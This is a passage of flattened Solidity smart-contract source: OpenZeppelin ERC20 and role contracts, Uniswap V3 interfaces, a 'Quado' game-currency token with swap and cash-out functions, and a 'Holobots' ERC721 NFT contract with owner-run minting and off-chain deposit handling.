{IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol pragma solidity ^0.5.0; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } // File: openzeppelin-solidity/contracts/access/Roles.sol pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: openzeppelin-solidity/contracts/access/roles/MinterRole.sol pragma solidity ^0.5.0; contract MinterRole is Context { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(_msgSender()); } modifier onlyMinter() { require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(_msgSender()); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol pragma solidity ^0.5.0; /** * @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole}, * which have permission to mint (create) new tokens as they see fit. * * At construction, the deployer of the contract is the only minter. */ contract ERC20Mintable is ERC20, MinterRole { /** * @dev See {ERC20-_mint}. * * Requirements: * * - the caller must have the {MinterRole}. */ function mint(address account, uint256 amount) public onlyMinter returns (bool) { _mint(account, amount); return true; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Capped.sol pragma solidity ^0.5.0; /** * @dev Extension of {ERC20Mintable} that adds a cap to the supply of tokens. */ contract ERC20Capped is ERC20Mintable { uint256 private _cap; /** * @dev Sets the value of the `cap`. This value is immutable, it can only be * set once during construction. */ constructor (uint256 cap) public { require(cap > 0, "ERC20Capped: cap is 0"); _cap = cap; } /** * @dev Returns the cap on the token's total supply. */ function cap() public view returns (uint256) { return _cap; } /** * @dev See {ERC20Mintable-mint}. * * Requirements: * * - `value` must not cause the total supply to go over the cap. */ function _mint(address account, uint256 value) internal { require(totalSupply().add(value) <= _cap, "ERC20Capped: cap exceeded"); super._mint(account, value); } } // File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolActions.sol // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolImmutables.sol // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // File: @uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } // File: contracts/IWETH9.sol pragma solidity ^0.5.17; // https://ethereum.stackexchange.com/questions/56466/wrapping-eth-calling-the-weth-contract contract WETH9_ { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; function() external payable ; function deposit() external payable ; function withdraw(uint wad) external ; function totalSupply() external view returns (uint) ; function approve(address guy, uint wad) external returns (bool) ; function transfer(address dst, uint wad) external returns (bool) ; function transferFrom(address src, address dst, uint wad) external returns (bool); } // File: contracts/Quado.sol pragma solidity >=0.5.0; /** @title Quado: The Holobots Coin @dev ERC20 Token to be used as in-world money for the Holobots.world. * Supports UniSwap to ETH and off-chain deposit/cashout. * Pre-mints locked funds for liquidity pool bootstrap, developer incentives and infrastructure coverage. * Approves payout to developers for each 10% of all minted bots, monthly infrastructre costs. * Bootstrap approved to transfer on creation. */ contract Quado is ERC20, ERC20Detailed, ERC20Mintable, ERC20Capped, Ownable, IUniswapV3SwapCallback { //address god; uint256 public gasToCashOut = 23731; uint256 public gasToCashOutToEth = 43731; uint256 public currentInfrastructureCosts = 200000 * 10**18; uint256 public percentBootstrap; uint256 public percentDevteam; uint256 public percentInfrastructureFund; uint public lastInfrastructureGrand; IUniswapV3PoolActions quadoEthUniswapPool; address payable public quadoEthUniswapPoolAddress; bool quadoEthUniswapPoolToken0IsQuado; address public devTeamPayoutAdress; address public infrastructurePayoutAdress; uint256 public usedForInfrstructure; WETH9_ internal WETH; /** * @dev Emited when funds for the owner gets approved to be taken from the contract **/ event OwnerFundsApproval ( uint16 eventType, uint256 indexed amount ); /** * @dev Emited to swap quado cash/quado coin/eth **/ event SwapEvent ( uint16 eventType, address indexed owner, uint256 indexed ethValue, uint256 indexed coinAmount ); struct SwapData { uint8 eventType; address payable account; } /** * @dev * @param _maxSupply Max supply of coins * @param _percentBootstrap How many percent of the currency are reserved for the bootstrap * @param _percentDevteam How many percent of the currency are reserved for dev incentives * @param _percentInfrastructureFund How many percent of the currency is reserved to fund infrastcture during game pre-launch **/ constructor( uint256 _maxSupply, uint256 _percentBootstrap, uint256 _percentDevteam, uint256 _percentInfrastructureFund, address _bootstrapPayoutAdress, address payable _WETHAddr ) public ERC20Detailed("Quado Holobots Coin", "OOOO", 18) ERC20Capped(_maxSupply) { require(_WETHAddr != address(0), "WETH is the zero address"); require(_bootstrapPayoutAdress != address(0), "bootstrap_payout is the zero address"); WETH = WETH9_(_WETHAddr); // Bootstrap is a stash of coins to provide initial liquidity to the uniswap pool and launch campiagn percentBootstrap = _percentBootstrap; // Developer team coverage percentDevteam = _percentDevteam; // Funds to cover the expenses for run the infrastructre until launch percentInfrastructureFund = _percentInfrastructureFund; usedForInfrstructure = 0; lastInfrastructureGrand = now; // Mint the pre-mine mintOwnerFundsTo((_maxSupply/100)*percentBootstrap, _bootstrapPayoutAdress); emit OwnerFundsApproval(0, (_maxSupply/100)*percentBootstrap); } /** * @dev ETH to Quado Cash */ function toQuadoCash(uint160 sqrtPriceLimitX96) public payable { wrap(msg.value); WETH.approve(quadoEthUniswapPoolAddress, msg.value); // → coinswap ETH/OOOO // docs: https://docs.uniswap.org/reference/core/interfaces/pool/IUniswapV3PoolActions /* swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes data) external returns (int256 amount0, int256 amount1) */ quadoEthUniswapPool.swap(address(this), !quadoEthUniswapPoolToken0IsQuado, int256(msg.value), sqrtPriceLimitX96, swapDataToBytes(SwapData(2, msg.sender))); } /** * @dev ETH to Quado Coin */ function toQuadoCoin(uint160 sqrtPriceLimitX96) public payable { wrap(msg.value); WETH.approve(quadoEthUniswapPoolAddress, msg.value); // → coinswap ETH/OOOO quadoEthUniswapPool.swap(address(this), !quadoEthUniswapPoolToken0IsQuado, int256(msg.value), sqrtPriceLimitX96, swapDataToBytes(SwapData(4, msg.sender))); } /** * @dev Quado Coin to ETH * @param _amount amount of quado to swap to eth */ function toETH(uint256 _amount, uint160 sqrtPriceLimitX96) public { require(_amount <= balanceOf(msg.sender), 'low_balance'); _approve(msg.sender, quadoEthUniswapPoolAddress, _amount); // → coinswap OOOO/ETH quadoEthUniswapPool.swap(address(this), quadoEthUniswapPoolToken0IsQuado, int256(_amount), sqrtPriceLimitX96, swapDataToBytes(SwapData(3, msg.sender))); } function wrap(uint256 ETHAmount) private { //create WETH from ETH if (ETHAmount != 0) { WETH.deposit.value(ETHAmount)(); } require(WETH.balanceOf(address(this)) >= ETHAmount, "eth_not_deposited"); } function unwrap(uint256 Amount) private { if (Amount != 0) { WETH.withdraw(Amount); } } // default method when ether is paid to the contract's address // used for the WETH withdraw callback function() external payable { } function bytesToAddress(bytes memory bys) private pure returns (address payable addr) { assembly { addr := div( mload( add(bys, 32) ), 0x1000000000000000000000000) } } // https://ethereum.stackexchange.com/questions/11246/convert-struct-to-bytes-in-solidity function swapDataFromBytes(bytes memory data) private pure returns (SwapData memory d) { d.eventType = uint8(data[20]); bytes memory adr20 = new bytes(20); for (uint i=0;i<20;i++) { adr20[i]=data[i]; } d.account = bytesToAddress(adr20); } function swapDataToBytes(SwapData memory swapData) private pure returns (bytes memory data) { uint _size = 1 + 20; bytes memory _data = new bytes(_size); _data[20] = byte(swapData.eventType); uint counter=0; bytes20 adr = bytes20(address(swapData.account)); for (uint i=0;i<20;i++) { _data[counter]=adr[i]; counter++; } return (_data); } /** * @dev Uniswap swap callback, satisfy IUniswapV3SwapCallback * https://docs.uniswap.org/reference/core/interfaces/callback/IUniswapV3SwapCallback */ function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external { require(msg.sender == quadoEthUniswapPoolAddress, 'uni_sender'); SwapData memory swapData = swapDataFromBytes(data); require(swapData.eventType > 0, 'swap_data_type'); require((amount0Delta > 0) || (amount1Delta > 0), 'delta_pos'); int256 quadoAmount = quadoEthUniswapPoolToken0IsQuado ? amount0Delta : amount1Delta; int256 ethAmount = quadoEthUniswapPoolToken0IsQuado ? amount1Delta : amount0Delta; if(quadoAmount > 0) { // OOOO is needed by the pool, means quado to ETH require(uint256(quadoAmount) <= balanceOf(swapData.account), 'owner_oooo_bal'); transferFrom(swapData.account, msg.sender, uint256(quadoAmount)); // pay the owner the ETH he got // UNWRAP WETH // https://ethereum.stackexchange.com/questions/83929/while-testing-wrap-unwrap-of-eth-to-weth-on-kovan-however-the-wrap-function-i unwrap(uint256(-ethAmount)); swapData.account.transfer( uint256(-ethAmount)); //, 'eth_to_acc'); emit SwapEvent(3, swapData.account, uint256(ethAmount), uint256(quadoAmount)); } else if(ethAmount > 0) { // ETH is needed, means eth to quado cash (eventType 2) or coin (eventType 4) //require(uint256(amount0Delta) <= address(this).balance, 'contract_eth_bal'); require(WETH.balanceOf(address(this)) >= uint256(ethAmount), 'contract_weth_bal'); // Transfer WRAPPED ETH to contract WETH.transfer(quadoEthUniswapPoolAddress, uint256(ethAmount)); //quadoEthUniswapPoolAddress.transfer(uint256(amount0Delta));// ), 'eth_to_uni'); // pay the owner the OOOO he got if(swapData.eventType == 2) { // inform the cash system that it should mint coins to the owner emit SwapEvent(2, swapData.account, uint256(ethAmount), uint256(-quadoAmount)); } else { emit SwapEvent(4, swapData.account, uint256(ethAmount), uint256(-quadoAmount)); _approve(address(this), quadoEthUniswapPoolAddress, uint256(-quadoAmount)); transferFrom(address(this), swapData.account, uint256(-quadoAmount)); } } } /** * @dev Quado Cash to Coin: Emits event to cash out deposited Quado Cash to Quado in user's wallet * @param _amount amount of quado cash to cash out */ function cashOut(uint256 _amount, bool _toEth) public payable { require(msg.value >= tx.gasprice * (_toEth ? gasToCashOutToEth : gasToCashOut), "min_gas_to_cashout"); // pay owner the gas fee it needs to call settlecashout address payable payowner = address(uint160(owner())); require(payowner.send( msg.value ), "fees_to_owner"); //→ emit event emit SwapEvent(_toEth ? 7 : 1, msg.sender, msg.value, _amount); } /** * @dev Cashes out deposited Quado Cash to Quado in user's wallet * @param _to address of the future owner of the token * @param _amount how much Quado to cash out * @param _notMinted not minted cash to reflect on blockchain */ function settleCashOut(address payable _to, uint256 _amount, bool _toEth, uint160 sqrtPriceLimitX96, uint256 _notMinted) public onlyOwner { mintFromCash(_notMinted); // must be done in any case, so it can be taken from him for uniswap or left if not swapped transferFrom(address(this), _to, _amount); if(_toEth) { // owner wanted ETH in return to Cash //require(_amount <= balanceOf(_to), 'low_balance'); _approve(_to, quadoEthUniswapPoolAddress, _amount); quadoEthUniswapPool.swap( address(this), quadoEthUniswapPoolToken0IsQuado, int256(_amount), sqrtPriceLimitX96, swapDataToBytes(SwapData(3, _to)) ); } } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); // if it's a cash deposit transfer if(recipient == address(this)) { _approve(address(this), owner(), amount); // signal the cash system the deposit emit SwapEvent(5, msg.sender, 0, amount); } return true; } /** * @dev Mints token to one of the payout adddresses for bootstrap, infrastructure and dev team * @dev Approves the contract owner to transfer that minted tokens * @param _amount mints this amount of Quado to the contract itself * @param _to address on where to mint */ function mintOwnerFundsTo(uint256 _amount, address _to) internal onlyMinter { require(_amount > 0, "zero amount to mint"); require(_to != address(0), "mint to is zero address"); //_approve(address(this), msg.sender, _amount); //_transfer(address(this), _to, _amount); mint(_to, _amount); _approve(_to, owner(), _amount); } /** * @dev Reflects the current quado cash state to quado coin by minting to the contract itself * @dev Approves the contract owner to transfer that minted cash later * @dev Additionally approves pre-minted funds for hardware payment and dev incentives * @param _amount mints this amount of Quado to the contract itself */ function mintFromCash(uint256 _amount) public onlyMinter { uint256 totalApprove = _amount; if(_amount > 0) { mint(address(this), _amount); // approve for later cashout _approve(address(this), owner(), totalApprove); // check if a 10% milestone is broken, and if so grant the dev team 10% of their fund if( (totalSupply() * 10 / cap()) < ((totalSupply() + _amount) * 10 / cap()) ) { uint256 devFunds = cap()/100*percentDevteam/10; mintOwnerFundsTo(devFunds, devTeamPayoutAdress); emit OwnerFundsApproval(2, devFunds); } } // check for next infrastructure cost settlement if ((now >= lastInfrastructureGrand + 4 * 1 weeks) && ((usedForInfrstructure + currentInfrastructureCosts) <= (cap()/100 * percentInfrastructureFund)) ) { usedForInfrstructure += currentInfrastructureCosts; lastInfrastructureGrand = now; mintOwnerFundsTo(currentInfrastructureCosts, infrastructurePayoutAdress); emit OwnerFundsApproval(1, currentInfrastructureCosts); } } function setGasToCashOutEstimate(uint256 _cashOut, uint256 _cashOutToEth) public onlyOwner { gasToCashOut = _cashOut; gasToCashOutToEth = _cashOutToEth; } function setCurrentInfrastructureCosts(uint256 _costs) public onlyOwner { currentInfrastructureCosts = _costs; } function setUniswapPool(address payable _poolAddress) public onlyOwner { IUniswapV3PoolImmutables poolImmu = IUniswapV3PoolImmutables(_poolAddress); require((poolImmu.token0() == address(this)) || (poolImmu.token1() == address(this))); quadoEthUniswapPoolToken0IsQuado = (poolImmu.token0() == address(this)); quadoEthUniswapPoolAddress = _poolAddress; quadoEthUniswapPool = IUniswapV3PoolActions(quadoEthUniswapPoolAddress); } function setPayoutAddresses(address _devTeamPayoutAdress, address _infrastructurePayoutAdress) public onlyOwner { devTeamPayoutAdress = _devTeamPayoutAdress; infrastructurePayoutAdress = _infrastructurePayoutAdress; } /** * @dev Withdraw ether from this contract (Callable by owner) */ function withdrawETH(uint256 amount) public onlyOwner { require(amount <= address(this).balance, 'balance_low'); require(msg.sender.send(amount), 'no_send'); } /*function setGod(address _god) public onlyOwner { god = _god; }*/ } // File: contracts/Holobots.sol pragma solidity ^0.5.1; /** * @title Holobots.world * Holobots - a contract for bot ownership inside the holobots.world as non-fungible ERC721 token. * - ERC721 compliant contract to support off-chain processing of tokens * - Minting only triggers the off-chain system to mint to keep the off-chain records consistent. * - Each call from off-chain with additional data to reflect off-chain cash of the Quado currency on the blockchain. * - Supports deposit and pickup of tokens on the contract to be handled gasless off-chain. */ contract Holobots is ERC721Full, Ownable { using Strings for string; // a Quado contract and must be owned by this contract address fundTokenAddress; string myContractURI; string baseURI; // the currency used to pay Quado quado; // public constants uint32 constant public maxSupply = 250000; // public variables uint256 public gasToPickup = 33233; uint256 public gasToMint = 32000; event NFTEvent ( uint16 eventType, uint256 tokenId, address indexed owner, uint256 indexed ethValue ); constructor( string memory _baseURIForNFT, string memory _contractURI, address payable _fundTokenAddress ) public ERC721Full("Holobots", "SUDO") { quado = Quado(_fundTokenAddress); setBaseURI(_baseURIForNFT); setContractURI(_contractURI); } /** * @dev Emits event to mint a token to the senders adress * @param _tokenId address of the future owner of the token */ function mintNFT(uint256 _tokenId) public payable { require(!_exists(_tokenId), "token_exists"); require(tx.gasprice * gasToMint <= msg.value, "min_price"); // pay owner the gas fee it needs to call mintTo address payable payowner = address(uint160(owner())); require(payowner.send( msg.value ), "fees_to_owner"); //→ emit event for off-chain listener emit NFTEvent(1, _tokenId, msg.sender, msg.value); } /** * @dev Mints a token to an address and mints unminted quado cash. * @dev Called by server * @param _tokenId Id of the token * @param _to address of the future owner of the token */ function mintTo(uint256 _tokenId, address _to, uint256 _notMinted) public onlyOwner { require(!_exists(_tokenId), "token_exists"); _mint(_to, _tokenId); quado.mintFromCash(_notMinted); } /** * @dev Deposits token on contract to use off-chain * @param _tokenId address of the future owner of the token */ function deposit(uint256 _tokenId) public { require(ownerOf(_tokenId) == msg.sender, "deposit_not_by_owner"); // would be nicer to have address(this) instead of owner, but then // for the release, the owner can not be approved by the contract transferFrom(msg.sender, address(this), _tokenId); // Solution with calling own contract call to change msg.sender... Holobots myself = Holobots(address(this)); myself.approve(owner(), _tokenId); emit NFTEvent(3, _tokenId, msg.sender, 0); } /** * @dev Emits events to release a token from off-chain storage into the blockchain * @param _tokenId address of the future owner of the token */ function pickUp(uint256 _tokenId) public payable { require(tx.gasprice * gasToPickup <= msg.value, "min_price"); // pay owner the gas fee it needs to call release address payable payowner = address(uint160(owner())); require(payowner.send( msg.value ), "fees_to_owner"); //→ emit event for off-chain listener emit NFTEvent(2, _tokenId, msg.sender, msg.value); } /** * @dev Releases an off-chain stored token into the blockchain and mints unminted quado cash. * @dev Called by server * @param _tokenId address of the future owner of the token */ function release(uint256 _tokenId, address botOwner, uint256 _notMinted) public onlyOwner { transferFrom(address(this), botOwner, _tokenId); quado.mintFromCash(_notMinted); } function exists(uint256 _tokenId) public view onlyOwner returns (bool){ return _exists(_tokenId); } // NFT stuff function baseTokenURI() public view returns (string memory) { return baseURI; } function tokenURI(uint256 _tokenId) external view returns (string memory) { return Strings.strConcat(baseTokenURI(), Strings.uint2str(_tokenId)); } function setBaseURI(string memory _baseURI) public onlyOwner { baseURI = _baseURI; } // This is needed by OpenSea function contractURI() public view returns (string memory) { return myContractURI; } function setContractURI(string memory _contractURI) public onlyOwner { myContractURI = _contractURI; } // admin related stuff // ================================ function adjustGasEstimates(uint256 _mint, uint256 _pickUp) public onlyOwner { //require(msg.sender == god); gasToMint = _mint; gasToPickup = _pickUp; } /** * @dev Withdraw ether from this contract (Callable by owner) */ function withdrawETH(uint256 amount) public onlyOwner { require(amount <= address(this).balance, "balance_low"); require(msg.sender.send(amount), "send_eth"); } }

True

